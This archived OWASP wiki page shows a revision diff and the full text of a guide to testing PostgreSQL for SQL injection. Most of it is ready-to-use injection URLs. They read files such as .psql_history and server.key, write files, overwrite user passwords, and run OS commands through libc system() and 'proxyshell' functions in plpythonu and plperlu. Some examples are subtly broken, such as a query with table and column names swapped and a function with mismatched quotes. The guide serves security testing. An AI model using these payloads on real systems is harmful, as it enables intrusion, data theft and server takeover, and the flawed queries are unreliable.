This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org
Difference between revisions of "OWASP Backend Security Project Testing PostgreSQL"
Line 6: | Line 6: | ||
* PHP Connector allow multiple statements to be executed by using ''';''' as a statement seperator | * PHP Connector allow multiple statements to be executed by using ''';''' as a statement seperator | ||
* SQL Statement can be truncated on vulnerable URL by appending comment char: '''--'''. | * SQL Statement can be truncated on vulnerable URL by appending comment char: '''--'''. | ||
+ | * ''LIMIT'' and ''OFFSET'' can be used on a ''SELECT'' statement to retrieve a portion of resultset generated by the ''query'' | ||
+ | From here after we suppose that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is a vulnerable to SQL Injection attack. | ||
= Black Box testing and example = | = Black Box testing and example = | ||
Line 44: | Line 46: | ||
On previous version you can easy create a custom ''pg_sleep(n)'' by using libc: | On previous version you can easy create a custom ''pg_sleep(n)'' by using libc: | ||
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT | * CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT | ||
− | |||
== Single Quote unescape == | == Single Quote unescape == | ||
Line 106: | Line 107: | ||
'''COPY:''' | '''COPY:''' | ||
− | This operator copies data between file and table. | + | This operator copies data between file and table. PostgreSQL engine access local FileSystem with ''postgres'' user rights. |
− | |||
− | |||
'''Example:''' | '''Example:''' | ||
− | |||
− | |||
− | <nowiki>/store.php?id=1; COPY | + | <nowiki> |
+ | /store.php?id=1; CREATE TABLE file_store(id serial, data text)-- | ||
+ | /store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'-- | ||
+ | </nowiki> | ||
+ | Data should be retrieved by performi a ''UNION Query SQL Injection'': | ||
+ | * retrieves number of rows previously added in ''file_store'' with ''COPY'' statement | ||
+ | * retrieve a row at time with UNION SQL Injection | ||
+ | |||
+ | '''Example:''' | ||
+ | <nowiki> | ||
+ | /store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;-- | ||
+ | /store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;-- | ||
+ | /store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;-- | ||
+ | ... | ||
+ | ... | ||
+ | /store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;-- | ||
+ | </nowiki> | ||
'''pg_read_file():''' | '''pg_read_file():''' | ||
Line 129: | Line 142: | ||
=== Writing to a file === | === Writing to a file === | ||
+ | |||
+ | By reverting COPY statement we can write to local filesystem with ''postgres'' user rights as well | ||
+ | |||
+ | <nowiki> | ||
+ | /store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'-- | ||
+ | </nowiki> | ||
=== Shell Injection === | === Shell Injection === | ||
Line 178: | Line 197: | ||
* Check if PL/Python has been enabled on some databsae: | * Check if PL/Python has been enabled on some databsae: | ||
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpython' | *: ''SELECT count(*) FROM pg_language WHERE lanname='plpython' | ||
− | * If not | + | * If not try to enable: |
*: ''CREATE LANGUAGE plpythonu'' | *: ''CREATE LANGUAGE plpythonu'' | ||
* If all of the above succeded create a proxy shell function: | * If all of the above succeded create a proxy shell function: | ||
Line 196: | Line 215: | ||
==== plperl ==== | ==== plperl ==== | ||
− | === | + | Plperl allow to code PostgreSQL functions in perl. Normally is installed as a trusted language in order to disable runtime execution of operations that interact with underlying operating system such as ''open''. By doing so it's impossible to gain OS-level access. To successfully inject a proxyshell like function we need to install the untrusted version from ''postgres'' user to avoid the so called application mask filtering of trusted/untrusted operations. |
+ | |||
+ | * Check if PL/perl-untrusted has been enabled: | ||
+ | *: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu' | ||
+ | * If not assuming that sysadm has allready installed plperl package try : | ||
+ | *: ''CREATE LANGUAGE plperlu'' | ||
+ | * If all of the above succeded create a proxy shell function: | ||
+ | *: ''CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,"$_[0] |");return join("",<FD>); LANGUAGE plperlu'' | ||
+ | * Have fun with: | ||
+ | *: SELECT proxyshell(''os command''); | ||
+ | |||
+ | '''Example:''' | ||
+ | |||
+ | *Create a proxy shell function: | ||
+ | *:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;</nowiki> | ||
+ | |||
+ | *Run a OS Command: | ||
+ | *:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>'' | ||
− | |||
= References = | = References = | ||
+ | |||
+ | OWASP : "Testing for SQL Injection" - http://www.owasp.org/index.php/Testing_for_SQL_Injection | ||
+ | |||
+ | Michael Daw : "SQL Injection Cheat Sheet" - http://michaeldaw.org/sql-injection-cheat-sheet/ | ||
+ | |||
+ | PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/ | ||
= Tools = | = Tools = | ||
+ | |||
+ | Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net |
Revision as of 22:05, 28 July 2008
Short Description of the Issue
In this paragraph we're going to describe some SQL Injection techniques for PostgreSQL. Keep in mind the following peculiarities:
- PHP Connector allow multiple statements to be executed by using ; as a statement seperator
- SQL Statement can be truncated on vulnerable URL by appending comment char: --.
- LIMIT and OFFSET can be used on a SELECT statement to retrieve a portion of resultset generated by the query
From here after we suppose that http://www.example.com/news.php?id=1 is a vulnerable to SQL Injection attack.
Black Box testing and example
Identifing PostgreSQL
When a SQL Injection has been found you need to carefully fingerprint backend database engine. You can determine that backend database engine is PostgreSQL by using :: cast operator.
Examples:
http://www.example.com/store.php?id=1 AND 1::int=1
Function version() can be used to grab PostgreSQL banner to further more enumerare underlying operating system too.
Example:
http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1-- PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
Blind Injection
For blind SQL Injection you should take in consideration internal provided functions:
- String Length
- LENGTH(str)
- Extract a substring from a given string
- SUBSTR(str,index,offset)
- String representation with no single quotes
- CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)
Starting from 8.2 PostgreSQL has introduced a built int function: pg_sleep(n) to make current
session process sleep for n seconds.
On previous version you can easy create a custom pg_sleep(n) by using libc:
- CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT
Single Quote unescape
String can be encoded, to prevent single quotes escaping, by using chr() function.
* chr(n): Returns the character whose ascii value corresponds to the number * ascii(n): Returns the ascii value corresponds to the character
Let say you want to encode the string 'root':
select ascii('r') 114 select ascii('o') 111 select ascii('t') 116
We can encode 'root' with:
chr(114)||chr(111)||chr(111)||chr(116)
Example:
http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--
Attack Vectors
Current User
Current user can be retrieved with the following SQL SELECT statements:
SELECT user SELECT current_user SELECT session_user SELECT usename FROM pg_user SELECT getpgusername()
Examples:
http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL-- http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--
Current Database
Native function current_database() return current database name.
Example:
http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--
Reading from a file
ProstgreSQL provides two way to access local file:
- COPY statement
- pg_read_file() internal function (starting from PostgreSQL 8.1)
COPY:
This operator copies data between file and table. PostgreSQL engine access local FileSystem with postgres user rights.
Example:
/store.php?id=1; CREATE TABLE file_store(id serial, data text)-- /store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--
Data should be retrieved by performi a UNION Query SQL Injection:
- retrieves number of rows previously added in file_store with COPY statement
- retrieve a row at time with UNION SQL Injection
Example:
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;-- /store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;-- /store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;-- ... ... /store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--
pg_read_file():
This function was introduced on PostgreSQL 8.1 and allow to read arbitrary file located inside DBMS data directory.
Examples:
- SELECT pg_read_file('server.key',0,1000);
Writing to a file
By reverting COPY statement we can write to local filesystem with postgres user rights as well
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--
Shell Injection
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting languages such as python, perl, tcl.
Dynamic Library
Until PostgreSQL 8.1 it was possible to add a custom function linked with libc:
- CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT
Since system returns an int how we can fetch results from system stdout?
Here's a little trick:
- create a stdout table
- CREATE TABLE stdout(id serial, system_out text)
- executing a shell command redirecting it's stdout
- SELECT system('uname -a > /tmp/test')
- use a COPY statements to push output of previous command in stdout table
- COPY stdout(system_out) FROM '/tmp/test'
- retrieve output from stdout
- SELECT system_out FROM stdout
Example:
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- /store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C' STRICT -- /store.php?id=1; SELECT system('uname -a > /tmp/test') -- /store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' -- /store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
plpython
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict what user. It's not installed by default and should be enabled on a given database by CREATELANG
- Check if PL/Python has been enabled on some databsae:
- SELECT count(*) FROM pg_language WHERE lanname='plpython'
- If not try to enable:
- CREATE LANGUAGE plpythonu
- If all of the above succeded create a proxy shell function:
- CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu
- Have fun with:
- SELECT proxyshell(os command);
Example:
- Create a proxy shell function:
- /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return os.popen(args[0]).read()’ LANGUAGE plpythonu;--
- Run a OS Command:
- /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--
plperl
Plperl allow to code PostgreSQL functions in perl. Normally is installed as a trusted language in order to disable runtime execution of operations that interact with underlying operating system such as open. By doing so it's impossible to gain OS-level access. To successfully inject a proxyshell like function we need to install the untrusted version from postgres user to avoid the so called application mask filtering of trusted/untrusted operations.
- Check if PL/perl-untrusted has been enabled:
- SELECT count(*) FROM pg_language WHERE lanname='plperlu'
- If not assuming that sysadm has allready installed plperl package try :
- CREATE LANGUAGE plperlu
- If all of the above succeded create a proxy shell function:
- CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,"$_[0] |");return join("",<FD>); LANGUAGE plperlu
- Have fun with:
- SELECT proxyshell(os command);
Example:
- Create a proxy shell function:
- /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;
- Run a OS Command:
- /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--
References
OWASP : "Testing for SQL Injection" - http://www.owasp.org/index.php/Testing_for_SQL_Injection
Michael Daw : "SQL Injection Cheat Sheet" - http://michaeldaw.org/sql-injection-cheat-sheet/
PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/
Tools
Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net